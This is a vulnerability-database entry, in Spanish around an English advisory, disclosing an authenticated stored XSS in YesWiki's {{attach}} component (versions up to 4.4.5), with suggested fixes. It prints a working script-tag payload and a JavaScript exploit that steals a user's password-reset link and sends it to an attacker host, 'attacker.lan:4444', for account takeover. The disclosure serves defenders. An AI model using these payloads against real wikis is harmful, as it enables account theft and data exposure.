Alta

Authenticated Stored XSS in YesWiki

  • Publicada: 21.01.2025
  • Actualizado: 11.10.2026 10:22

Authenticated Stored XSS in YesWiki <= 4.4.5

Summary

It is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded.

This Proof of Concept has been performed using the followings:

  • YesWiki v4.4.5 (doryphore-dev branch, latest)
  • Docker environnment (docker/docker-compose.yml)
  • Docker v27.5.0
  • Default installation

Details

The vulnerability makes use of the content edition feature and more specifically of the {{attach}} component allowing users to attach files/medias to a page. When a file is attached using the {{attach}} component, if the resource contained in the file attribute doesn't exist, then the server will generate a file upload button containing the filename.

This part of the code is managed in tools/attach/libs/attach.lib.php and the faulty function is showFileNotExits().

php
public function showFileNotExits()
{
    echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$this->file") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . _t('UPLOAD_FILE') . ' ' . $this->file . '</a>';
}

The file name attribute is not properly sanitized when returned to the client, therefore allowing the execution of malicious JavaScript code in the client's browser.

PoC

1. Simple XSS

Here is a working payload {{attach file="<script>alert(document.domain)</script>" desc="" size="original" class=" whiteborder zoom" nofullimagelink="1"}} tha works in pages and comments:

On a comment:

poc1 poc2

On a page:

poc3 poc4

2. Full account takeover scenario

By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:

js
fetch('/?ParametresUtilisateur')
  .then(response => {
    return response.text();
  })
  .then(htmlString => {
    const parser = new DOMParser();
    const doc = parser.parseFromString(htmlString, 'text/html');
    const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty
    fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));
  })

Posting a comment using this specially crafted payload with a user account:

poc5

Allows our administrator account's password reset link to be sent to the listener of the attacker:

poc7 poc8

Therefore giving us access to an successful password reset for any account triggering the XSS:

poc9

Impact

This vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.

Suggestion of possible corrective measures

  • Sanitize properly the filename attribute
php
public function showFileNotExits()
{
    $filename = htmlspecialchars($this->file);
    echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$filename") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . _t('UPLOAD_FILE') . ' ' . $filename . '</a>';
}
  • Implement a stronger password reset mechanism through:

    • Not showing a password reset link to an already logged-in user.
    • Generating a password reset link when a reset is requested by a user, and only send it by mail.
    • Add an expiration/due date to the token
  • Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)

The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer yeswiki/yeswiki < 4.5.0 4.5.0

Referencias

Puntuación CVSS 7.6/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L
Debilidad (CWE)
CWE-79
Plataforma
Composer
Paquete
yeswiki/yeswiki
Publicada
21.01.2025
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-w59h-3x3q-3p6j - CC BY 4.0

Historial de vulnerabilidades: yeswiki/yeswiki

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (31) en el archivo
Entradas en total
31
Primera → última
03.2022 07.2026
Sin corrección
2
Explotada en ataques
0

Distribución por gravedad

  • Crítica 5
  • Alta 16
  • Media 8
  • Baja 2

Divulgaciones por año

  1. 2022: 1
  2. 2023: 0
  3. 2024: 1
  4. 2025: 12
  5. 2026: 17
Gravedad:
  1. Alta · 8.8 CVE-2026-52775 < 4.6.6 4.6.6
  2. Crítica · 9.8 CVE-2026-46670 < 4.6.4 4.6.4
  3. Crítica · 10.0 CVE-2025-46348 < 4.5.4 4.5.4
  4. Alta · 7.6 CVE-2025-46349 <= 4.5.3 sin corrección
  5. Alta · 7.1 CVE-2025-24019 < 4.5.0 4.5.0
  6. Authenticated Stored XSS in YesWiki esta entrada
    Alta · 7.6 CVE-2025-24018 < 4.5.0 4.5.0
  7. Alta · 7.6 CVE-2025-24017 < 4.5.0 4.5.0
  8. Alta · 9.9 CVE-2024-51478 < 4.4.5 4.4.5
Mostrar más (1) Mostrando 20 de 21

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.